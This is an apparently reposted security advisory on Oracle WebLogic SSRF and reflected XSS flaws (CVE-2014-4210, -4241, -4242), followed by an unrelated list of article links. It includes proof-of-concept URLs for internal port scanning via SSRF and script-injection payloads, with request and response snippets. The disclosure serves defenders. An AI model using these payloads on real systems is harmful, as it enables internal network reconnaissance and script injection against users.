WebLogic SSRF And XSS (CVE-2014-4241, CVE-2014-4210, CVE-2014-4242)
来源:互联网 发布:网络口碑营销定义 编辑:程序博客网 时间:2024/05/29 11:23
http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html
Universal Description Discovery and Integration (UDDI) functionality often lurks unlinked but externally accessible on WebLogic servers. It’s trivially discoverable using fuzz lists such as Weblogic.fuzz.txt and was, until recently, vulnerable to Cross Site Scripting (XSS) and Server Side Request Forgery (SSRF). I reported these vulnerabilities to Oracle and they were patched in the July 2014 Critical Patch Update (CPU).
CVE-2014-4210 Server Side Request Forgery in SearchPublicRegistries.jsp
Affected Software: Oracle Fusion Middleware 10.0.2, 10.3.6
Oracle WebLogic web server is often both (a) externally accessible; and (b) permitted to invoke connections to internal hosts. The SearchPublicRegistries.jsp page can be abused by unauthenticated attackers to cause the WebLogic web server to connect to an arbitrary TCP port of an arbitrary host. Responses returned are fairly verbose and can be used to infer whether a service is listening on the port specified.
Below is an example request to an internal host which is not listening on TCP port 23:
https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.0.0.4:23&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Response snippet:
weblogic.uddi.client.structures.exception.XML_SoapException: Connection refused
Below is an example request to a host which is listening on TCP port 22:
https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.0.0.4:22&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Response snippet:
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://10.0.0.4:22 which did not have a valid SOAP content-type: unknown/unknown.
It is possible to abuse this functionality to discover and port scan any host that the WebLogic server can access. In the event that a discovered service returns a valid SOAP response, it may be possible to view the contents of the response.
SSRF vulnerabilities offer a world of possibilities – for example, this could be used to scan for services and resources present on the WebLogic server’s loopback interface, to port scan hosts adjacent to the WebLogic server, or to profile outgoing firewall rules (e.g. port scan an external attacker-controlled server to see which outgoing connections are permitted).
CVE-2014-4241 - Reflected Cross Site Scripting in SetupUDDIExplorer.jsp
Affected software: Oracle Fusion Middleware 10.0.2, 10.3.6
User input is reflected into a cookie value (which is set for a year!). This value is then written into subsequent responses in an unsafe manner, exposing users to Cross Site scripting attacks.
This unusual vector circumvents current in-browser anti-XSS controls present in Internet Explorer and Chrome browsers. The vulnerability was present in registration.paypal.com, payflowlink.paypal.com and partnermanager.paypal.com; all were swiftly fixed after I reported this to the PayPal security team.
Reflected XSS in registration.paypal.com
Example Malicious URL:
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL
The response sets the privateregistry parameter value previously supplied as a cookie, and redirects the browser back to the SetupUDDIExplorer.jsp page:
HTTP/1.1 302 Moved TemporarilyLocation: https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jspSet-Cookie: privateinquiryurls=<script>alert(2)</script>; expires=Saturday, 29-Nov-2014 08:00:27 GMTContent-Length: 331Content-Type: text/html;charset=UTF-8
Redirected Request:
GET /uddiexplorer/SetupUDDIExplorer.jsp HTTP/1.1Host: [vulnerablehost]Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; privateinquiryurls=<script>alert(2)</script>; privatepublishurls=http://[vulnerablehost]:8080/uddi/uddilistener; consumer_display=HOME_VERSION%3d1%26FORGOT_BUTTON_ROLE%3d73; cookie_check=yes; LANG=en_US%3BUS; navlns=0.0;
Response Snippet (showing the privateinquiryurls cookie value reflected in an unsafe manner in the response):
<td valign=top width=1%></td><td valign=top width=70%> <p> <h2>Private Registry:</h2> <h3>Search URL: <b><script>alert(1)</script></b></h3> <H3>Publish URL: <b>http://[vulnerablehost]:8080/uddi/uddilistener</b></h3> </p>
Example Proof of Concept URLs:
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URLhttps://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?privateregistry=<script>alert(2</script>&setPrivateRegistryPublish=Set+Publish+URLhttps://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?publicregistryname=test&publicregistryurl=<script>alert(2)</script>&addPublicRegistry=Add+Public+Registry+URL
CVE-2014-4242 - Reflected Cross Site Scripting in consolejndi.portal
Affected Software: Oracle Fusion Middleware 10.0.2, 10.3.6, 12.1.1, 12.1.2.0.0
I’ve also identified two reflected XSS vulnerabilities in WebLogic’s console application. The console application is intended to manage the WebLogic application server and is not normally externally exposed; as a result, exploitation of this vulnerability would be targeted at admin users.
Example Proof of Concept URL #1 (victim must be authenticated to the administrative console):
http://[vulnerablehost]:7001/console/consolejndi.portal?_pageLabel=JNDIContextPageGeneral&_nfpb=true&JNDIContextPortlethandle=com.bea.console.handles.JndiContextHandle("<script>alert(1)</script>")
Response Snippet:
<div class="contenttable"><div class="introText"><p>Listing of entries found in context <script>alert(1)</script>:</p></div>
Example Proof of Concept URL #2 (victim must be authenticated to the administrative console):
http://[vulnerablehost]:7001/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//
Response Snippet:
<script type="text/javascript">document.write('<div class="JSTree">');setBaseDirectory('/console/utils/JStree/images/');setTaxonomyDelimeter('.');{_a = new TreeNode('server', null, 'myserver\u0027);alert(4)//', '/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//', 'images/spacer.gif', 'images/spacer.gif', null, 'myserver\u0027);alert(4)//', false, false);
Remediation
Remove access to UDDI functionality, unless there is business case to support exposing it. Failing that, ensure that the July 2014 CPU has been applied.
Disclosure Timeline
01/12/2013 - Vulnerability Reported
07/16/2014 - Vulnerability Patch Released in Oracle Critical Patch Update (CPU)
- WebLogic SSRF And XSS (CVE-2014-4241, CVE-2014-4210, CVE-2014-4242)
- CVE-2014-0199 CVE-2014-0200 CVE-2014-0201 POC
- CVE-2014-4114 和 CVE-2014-3566
- CVE-2014-0243 POC
- CVE-2014-0246 POC
- cve-2014-6332
- 浅析CVE-2014-0196
- CVE-2014-4322
- CVE-2014-3153笔记
- CVE-2014-3153
- CVE
- CVE-2014-0196(马拉松bug)
- CVE-2014-0195漏洞分析
- CVE-2014-6332调试分析
- CVE-2014-0160 Heartbleed Bug
- 转载:CVE-2014-0322 0day analysis
- python - 分析openssl-CVE-2014-0160
- Oracle Security Alert for CVE-2014-0160
- Oracle 11g Data Guard 物理备库快速配置指南(上)
- 第六周项目4-成员函数、友元函数和一般函数有区别
- POJ 2559 Largest Rectangle in a Histogram (DP最大矩形面积)
- [转] live555 -- 運作原理
- 解题报告 之 POJ2728 Desert King
- WebLogic SSRF And XSS (CVE-2014-4241, CVE-2014-4210, CVE-2014-4242)
- 跟我一起写Makefile
- POJ2251 Dungeon Master(搜索BFS)
- C++之继承与多态
- CuckooDroid Book
- 线性代数导论9——线性相关性、基、维数
- c++中 . 和 -> 的区别
- Codeforces 427D Match & Catch 后缀自动机 或 后缀数组
- 设置MyEclipse编码、补全快捷键、字体大小